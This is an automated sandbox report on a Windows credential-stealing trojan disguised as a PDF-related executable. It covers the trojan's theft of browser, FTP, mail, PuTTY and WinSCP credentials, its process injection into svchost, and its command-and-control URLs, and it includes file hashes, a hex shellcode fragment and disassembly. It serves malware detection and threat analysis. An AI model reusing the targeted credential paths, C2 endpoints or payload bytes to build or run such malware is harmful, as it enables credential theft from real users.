Source: Yara match	File source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MV XH DOLPHINPDF.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000002.00000002.3213312503.0000000003228000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\svchost.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\SysWOW64\svchost.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Windows\SysWOW64\svchost.exe	Code function: PopPassword		2_2_0040D069
Source: C:\Windows\SysWOW64\svchost.exe	Code function: SmtpPassword		2_2_0040D069

Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_81
Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_XP
Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_XPe
Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_VISTA
Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_7
Source: MV XH DOLPHINPDF.exe	Binary or memory string: WIN_8
Source: MV XH DOLPHINPDF.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000F6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	0_2_000F6596
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000F6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_000F6A5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA6AF0 EnterCriticalSection,RpcServerListen,LeaveCriticalSection,I_RpcMapWin32Status,	2_2_00CA6AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA6BB0 RpcServerUnregisterIfEx,EnterCriticalSection,RpcMgmtStopServerListening,RpcMgmtWaitServerListen,LeaveCriticalSection,I_RpcMapWin32Status,	2_2_00CA6BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00CA6B60 RpcServerUnregisterIf,EnterCriticalSection,RpcMgmtStopServerListening,RpcMgmtWaitServerListen,LeaveCriticalSection,I_RpcMapWin32Status,	2_2_00CA6B60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Service Execution	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	3 Windows Service	2 Valid Accounts	2 Obfuscated Files or Information	2 Credentials in Registry	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	21 Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	3 Windows Service	1 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MV XH DOLPHINPDF.exe	32%	ReversingLabs	Win32.Trojan.Strab
MV XH DOLPHINPDF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://kbfvzoboss.bid/alien/fre.php	100%	URL Reputation	malware
http://alphastand.win/alien/fre.php	100%	URL Reputation	malware
http://alphastand.trade/alien/fre.php	100%	URL Reputation	malware
http://alphastand.top/alien/fre.php	100%	URL Reputation	malware
http://www.ibsensoftware.com/	0%	URL Reputation	safe
	0%	Avira URL Cloud	safe
http://edgewell.cam/DV2/PWS/fre.php	0%	Avira URL Cloud	safe
https://edgewell.cam/DV2/PWS/fre.php	0%	Avira URL Cloud	safe
https://edgewell.cam/DV2/PWS/fre.phpC:	0%	Avira URL Cloud	safe
http://edgewell.cam/DV2/PWS/fre.php	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
edgewell.cam	104.21.85.101	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://edgewell.cam/DV2/PWS/fre.php	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
	true	Avira URL Cloud: safe	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: malware	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: malware	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: malware	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://edgewell.cam/DV2/PWS/fre.php	svchost.exe, 00000002.00000002.3212806691.000000000049F000.00000040.80000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000002.3213312503.0000000003212000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ibsensoftware.com/	svchost.exe, svchost.exe, 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://edgewell.cam/DV2/PWS/fre.phpC:	svchost.exe, 00000002.00000002.3213312503.0000000003212000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.85.101	edgewell.cam	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447784
Start date and time:	2024-05-27 02:56:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MV XH DOLPHINPDF.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/6@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 57 Number of non-executed functions: 273
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:56:53	API Interceptor	123x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.85.101	http://smtplink.usssa.com/ls/click?upn=WSslNwXrfTzmOiygdbhyJ3t7CDOcfhgBl-2B-2Fq7JL4-2ByqtyyXo5cYDdxn8A0VinP-2BVtHq-2FVJ1se3phjrq67r6nbphHhLw1sToYV3i4W2jaaIE-3D1dc5_WMf7rsf6kD6l7LM96TE0mF-2FnD3t2-2BZMyhwerTOCCBbSbnhA42OS1d1oRNQ-2F4Mreuz9hFOxWi2hJbNl50iWDQCCoSoTwR93cdcKDVsSISCZsm-2BL5IhXsL0w3VaDy-2B6QqA7UvRt2BwPJf-2BZkI-2Bekdw3nbmArCULTuLzWjb6ybyb-2BxLAJVoJZS5fLDDZa-2FWN-2FiIYNR0CMZ5E20cknpbptzwMkREsnkjIfv49YN2cjxNzFs-3D	Get hash	malicious	HTMLPhisher	Browse
	http://smtplink.usssa.com/ls/click?upn=WSslNwXrfTzmOiygdbhyJ3t7CDOcfhgBl-2B-2Fq7JL4-2ByqtyyXo5cYDdxn8A0VinP-2BVeoZCzA300TIrQ-2FgcfbCOrEGA2I4tKt4i56dQr7fC2e2XYQyhqlayB2LRwdJ3jmia-ptj_YXu-2B2WFfM16Pa6zrGLYJc6CA7Y4ry3pDdHvhcPcaHhypt6ms933EoowkydCZObXZKAD6tzC-2BaXHmHnJAbT-2BIn2t-2Bt9gKLJU2IX-2FSYs-2FOij14TP2Xc6Qatr-2BXugyI7jswQZhkhju8Yx8-2FxhIHffAfs5DnxfhVSN0I5WkZqhaO523PK47JE1GOlQ-2FbqNk-2FCg2e9-2FUXN0ZrnHQ8nHLEnzjIzTlttEnVwXBEVbIl1RTD1o4-3D	Get hash	malicious	HTMLPhisher	Browse
	http://smtplink.usssa.com/ls/click?upn=WSslNwXrfTzmOiygdbhyJ3t7CDOcfhgBl-2B-2Fq7JL4-2ByqtyyXo5cYDdxn8A0VinP-2BV2BRLDobfCgA1FIklfNRhqhAmOXV-2FHoetsW2Id7Fe4QfF2ExbdwJcwhRdBDQwoLI8Atkr_l2jmxGgqbZQNdQCN7H54PQd22TgbW0WGP5bSWUY-2B7aHFv7CGQY-2FofPvIbqr0MVibwefZ0c30NquCb0BizSFErjMvzy0J-2FEzRRVbejgHIWrDBIWCjFiBhL3ol51wjol6S5HtprJUVsvUEF29Tcvi1MTkbJMHmGlXyfHPdbDZt0Gz9A4ae7Q0155EqT3Ik6LNOEucoKFwTKXiC-2Fo-2BqKfsPNBsgqUQhj4PFflIba0DpL9w-3D	Get hash	malicious	Unknown	Browse
	http://smtplink.usssa.com/ls/click?upn=WSslNwXrfTzmOiygdbhyJ3t7CDOcfhgBl-2B-2Fq7JL4-2ByqtyyXo5cYDdxn8A0VinP-2BVfQzDjD2JiXU4oq3GguWW6GlavHbXrwquRz9-2Fcr0w0Ro-3D0Rjj_Be23ABeeYjlYUr10D8R-2BZE8Ldjm0vxSXsLJPX11uOG9Cz7LE-2BiD8oi4QL-2F-2BL9ewBezS-2BNtDCl8Q7JYA3ErWKlM8Y-2B4vRfpQtuUnZSijWBSG5KI3wkOI60lqd3nJHQZxf76SUHSy-2FNCebAEsr4b3VnCWon1kuu-2BNOt828VyI-2FC6-2B-2FmwHWsNdnfJe2-2BTupuyws9wzyy33eJGHEoI5Zh5GbmQ-3D-3D	Get hash	malicious	Unknown	Browse
	http://smtplink.usssa.com/ls/click?upn=WSslNwXrfTzmOiygdbhyJ3t7CDOcfhgBl-2B-2Fq7JL4-2ByqtyyXo5cYDdxn8A0VinP-2BVanZYyPHs9OgTwMx9vdSwpvg6kXVPXqklBORR4akh7x4-3DEYla_aBFCoQQ9iDklHHcmZhrlMEqUgiL44sPBVzbZlpHKTnuUwe6-2BGAW39iHQl6s1MNfSQOuCr5g2eUTw-2B5qSHzmizRBEckHC-2BI-2F-2Fqr5nB6RvCo-2FEZ9DLTqMSGqnEgyZNulESzQDMn4-2BO-2Fe1cL7hrMzLcCgddbaMvht7wJtt2Mukrxjslg8bliv5TTOD8OBikGVxDRjIypmvVY1jCbUFJHXjZgbgh-2FWcM5wIn2bFhwdXWNMA-3D	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WQs56g5xeC.exe	Get hash	malicious	DCRat	Browse	172.67.25.118
	xA4LQYIndy.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	Remittance#26856.html	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	http://y6ss1.shop/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://instahilecin.net/	Get hash	malicious	Unknown	Browse	104.21.72.53
	https://sweet-moonbeam-28ccf4.netlify.app/appeal.html/	Get hash	malicious	Unknown	Browse	104.16.117.116
	https://origines-decoration.com/	Get hash	malicious	Unknown	Browse	172.67.70.50
	https://kruekanlogin.gitbook.io/	Get hash	malicious	Unknown	Browse	172.64.146.167
	https://interface01.nsxtlmv.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.26.13.205
	https://free.putrivpn.biz.id/	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Users\user\Desktop\MV XH DOLPHINPDF.exe
File Type:	data
Category:	dropped
Size (bytes):	79420
Entropy (8bit):	7.939998789485532
Encrypted:	false
SSDEEP:	1536:dPT6zH3JigADZsv1iTiXUXnUMOGOCTx2B5eDMeCJJK4S9frxB7bm40U:JT6zH3J4aNqnrOpDfMD9frxB7boU
MD5:	4E5A3A6A60BEF5DC2B2F969E61F2FC88
SHA1:	37299CBCC947C05E398EF4ED776FA0B6933076B0
SHA-256:	10938607EA09B4CF8CF7D74DDB1A17613986F18A779D4B22A9E18900869E8D9B
SHA-512:	08D967B2079934F5BBEC9B0339FA0D80BF470E1990391DD255CF68AD3EB16303F74E4BEEBCA96258CB664849B1CEC2BAAB1F58CB8B752E70828C34F6581E71D9
Malicious:	false
Reputation:	low
Preview:	EA06......x...R.L.=^.oP.U..I....T&....nh`..O .4.S........&1.u.._..n.i...B...:..Y8.Y....m:.W..(..+r....k.vuZ..'g...r{...o...g{....m......&V...~{Y.7......9....b..y?......~y..6k...f........U?[\|._+..U.6.....T?.X.s...H....V\.h.[j-..L#..CeX.@.45....u..8.UhuO...v.@f5J....U.....S.AT..S.4..z..."...R..#...a..(.z.H.i...`.h...w....._`.o......@..u.U.M..M-..@......BoT.'.n.j4.-B.H....BE...-. .X.h.U.........'...h.T........Jf......8.^.`.....4..B...m...?.P.G.&......{.Si..J......T6..0.iP...(.4......U..ub..+@.........B...d...4.).B.W..(..e4...Q..2fSK....,..o.M.9Mc.B.40.i.6.K.T)U....p.M..4.._.T.L...m..(Uz];. ..2.I....HK...p....P.Sn5JqM.~......6......._.dy..c...T(}~........=...T.o.5......i........A....3.r{...JqD..j./.....N....S.....l.........;p.....(.H..d...S...Q..l...........oJ.-.."gP.E.<zp.h..M.<:<.R..i..F..@..0....M.A,.;.B...vaUN.?...y..M.....Th....o......t..C.D{..?.H..Hi;.H.p..e..DC}...@#...v......T....~]..z"._P..7..N\|..........N....w.ul_''...u.=..C..s....gK

C:\Users\user\AppData\Local\Temp\aut4672.tmp

Download File

Process:	C:\Users\user\Desktop\MV XH DOLPHINPDF.exe
File Type:	data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	7.598889720442583
Encrypted:	false
SSDEEP:	192:yyaFcTok4nEeZ6CFsim8+sXxK3v0/qq6XP1DgADZNbgIfycKYf:cFxk4EewCFsvaxK3v0/CP1DLm2ycT
MD5:	7F4BDDA389D57A01F86AC0D3754F2EF1
SHA1:	0903F134EE4B602EE5F88CDD8D2B3855E43F98A1
SHA-256:	93C1A70EE367EB5FDF86EE7DD7A8B4491BCDD85866AB06B2F07B3CDE6D70E2B6
SHA-512:	DC1013B1776EB6AF2024965729842D9D36FBB74BC742D383E9E3FA580EFDD48B4B6456F1B80DBABBEF376745E53AB93C4122368CF9E318AD6FE2F968242BF7D8
Malicious:	false
Reputation:	low
Preview:	EA06..p4.M(...aD..fT)..D.Mh.z,.gA....5.......B.Mh..%.mF.Mf....qb.....-..c.L...$.m5...k..c0.M....k8.X.3i...l..%.o2....A8.6,.........3k....e.N&s0.oNf.)...k.K$.eb....5..f.........6.0.o.p....l39....V0...S..$.if...6....f.I...@.....i8........X@.4.1..........$.P...0z.5..$}3Y.....=5..`d....!d..V...7f.[$..8...\|.I..W.d...\|vI..W.d...\|vK..W.d...\|vK(.W.e...\|vY..W,.O...k.`..X@..9..^.8..F.6.z..G......`......i..G../Z...zqd...l.;.........\|......7...}3{(........;^..l =..p.........3p.o....,.......x.....H<.lX.:...b.....,. ...2...f.[...K.)....b..i\|v F......X......`....,.9....5...._..l......>K.....ir.e....[4..d..f.y.....,.....S >..p...........s9.... !..Y....f...ja4....ea.h,.p.....,.a8.,..3........f.....f ....,j.0..&...J......f ....6K%.ke..f....L..;2.X...4.Y.V@.Fn.....f@....l..05.....!;3.X...c )D.g6... ...'&`....,f.6..&....r...Brh.....l...i2...B....@.......d.L.`!.....P...@X5d..lSK...9...!;5.X...cVY......'.B...,vl.!..>.a..l...M..@...X...b.M&.X..B.a.Q...sp..X..9..o5..f.!...,vn.

C:\Users\user\AppData\Local\Temp\ferritic

Download File

Process:	C:\Users\user\Desktop\MV XH DOLPHINPDF.exe
File Type:	data
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	7.350845188738085
Encrypted:	false
SSDEEP:	1536:FlIrSF/+WCXbtf591JjoMZ/s01DL2ByIHX18JISyOVIZqMu4yiOQ5HwvsoG0X3r:Fuq/+T5h5U0xL2FLTt5IsotX3r
MD5:	475F555A82ACF0485F0E9A55B25109D7
SHA1:	70615534248833A418CA4F0FDF3E9A4E5A3EE3A6
SHA-256:	01B9A1D502CA4B0F2DA69C51A50AD787E4FE2ECA0AEBBC24B5CDA6D82C324DEC
SHA-512:	27DDDE3DFAC0CB240E30C4A6FC3A1A953735F6CDF37DFBAC6B35ED2820CB4E7FB88AE5EF73859D5113B2E6F28FBABF56A0BC2F5F89FF88769011DEA45E33116D
Malicious:	false
Reputation:	low
Preview:	.m.BT6FR<0TC..7P.W6FR80T.TP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR.0TCZO.^B.?.s.1..u._91wF4=_B5.t3V>,8Bf0].&6:p^>b.y.rU_0&z]:ZfW6FR80T..(...A.......B.......D.{....F.._...B.ib.... ..&...F.........C...T......U.m...P.......!..>U..&.CTP7PBW6..80.BPP.X..6FR80TCT.7SC\7JR8.UCT.?PBW6F..1TCDP7P.V6FRx0TSTP7RBW3FS80TCTU7QBW6FR8.^CTT7PBW6FP80.CT@7PRW6FR(0TSTP7PBW&FR80TCTP7PB..GR\0TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7.CWjFR80TCTP7PBW6FR80TCTP7PBW6F\|LU,7TP7.tV6FB80T{UP7TBW6FR80TCTP7PBw6F2.B0" 17P".6FRh1TC.P7P~V6FR80TCTP7PBWvFRx.0" 17PBshNR8.UCTR7PB)7FR80TCTP7PBW6.R8.z;TP7PBW6fR80TITP.PBW.GR80TCTP7PBW6FR80.CTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TCTP7PBW6FR80TC

C:\Users\user\AppData\Local\Temp\fondaco

Download File

Process:	C:\Users\user\Desktop\MV XH DOLPHINPDF.exe
File Type:	ASCII text, with very long lines (28724), with no line terminators
Category:	dropped
Size (bytes):	28724
Entropy (8bit):	3.59481481674996
Encrypted:	false
SSDEEP:	768:ViTZ+2QoioGRk6ZklputwjpjBkCiw2RuJ3nXKUrvzjsNbBE+Ii6m34vfF3if6gyU:ViTZ+2QoioGRk6ZklputwjpjBkCiw2Rt
MD5:	2B45FA8433747E84F3A46F8069C919A0
SHA1:	0F4C6437834A4B5D624EA1D5CC904E8F503FD409
SHA-256:	B389F60F28E4CE1B3B6367B1D48D01210398D8F240793016CD2B5F8BAEA3B7C3
SHA-512:	75400937725E94ABD16BE8BFD9561BC5D951A9D1BE1B711128A3DF7B7DFF00C85212EAA3DEFA42E832B0DF7286048C93212F29C0BE382713EE299A9E711F4B35
Malicious:	false
Reputation:	low
Preview:	84F98E0D192B10FD05E7E43AEF7957D5930866ABD5D0DA6FF50x558bec81eccc0200005657b86b00000066894584b96500000066894d86ba7200000066895588b86e0000006689458ab96500000066894d8cba6c0000006689558eb83300000066894590b93200000066894d92ba2e00000066895594b86400000066894596b96c00000066894d98ba6c0000006689559a33c06689459cb96e00000066898d44ffffffba7400000066899546ffffffb86400000066898548ffffffb96c00000066898d4affffffba6c0000006689954cffffffb82e0000006689854effffffb96400000066898d50ffffffba6c00000066899552ffffffb86c00000066898554ffffff33c966898d56ffffffba75000000668955d0b873000000668945d2b96500000066894dd4ba72000000668955d6b833000000668945d8b93200000066894ddaba2e000000668955dcb864000000668945deb96c00000066894de0ba6c000000668955e233c0668945e4b96100000066898d68ffffffba640000006689956affffffb8760000006689856cffffffb96100000066898d6effffffba7000000066899570ffffffb86900000066898572ffffffb93300000066898d74ffffffba3200000066899576ffffffb82e00000066898578ffffffb96400000066898d7affffffba6c0000006689957cffffffb86c0000

C:\Users\user\AppData\Roaming\188E93\31437F.lck

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	47
Entropy (8bit):	1.168829563685559
Encrypted:	false
SSDEEP:	3:/lSll2DQi:AoMi
MD5:	DAB633BEBCCE13575989DCFA4E2203D6
SHA1:	33186D50F04C5B5196C1FCC1FAD17894B35AC6C7
SHA-256:	1C00FBA1B82CD386E866547F33E1526B03F59E577449792D99C882DEF05A1D17
SHA-512:	EDDBB22D9FC6065B8F5376EC95E316E7569530EFAA9EA9BC641881D763B91084DCCC05BC793E8E29131D20946392A31BD943E8FC632D91EE13ABA7B0CD1C626F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................user.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.8018685177528155
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MV XH DOLPHINPDF.exe
File size:	963'072 bytes
MD5:	e3d3d93759a0552c63ec2c3ccbf6c383
SHA1:	cfa0d6279822bc75a22e54e3dcb6e378a0772605
SHA256:	31607008c03354cf7b6b21d8d3ecc31186e39a92dca54c0c26c30ecd85957cec
SHA512:	a907954c0554dfa1f20f87e1c71e32f65276197672065d321b249fba96662b7ab853e12a67482d2c860213d63ab76ead7b69bb89c19931bc2fcca7dbbf83e8c7
SSDEEP:	24576:sAHnh+eWsN3skA4RV1Hom2KXMmHaIEUS6WH5:Lh+ZkldoPK8YaIEUjq
TLSH:	C2259C0273D2C036FFABA2739B6AF24156BD79254123852F13981DB9BD701B2273D663
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6653C7B2 [Sun May 26 23:37:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F9C80E3093Dh
jmp 00007F9C80E236F4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F9C80E2387Ah
cmp edi, eax
jc 00007F9C80E23BDEh
bt dword ptr [004C41FCh], 01h
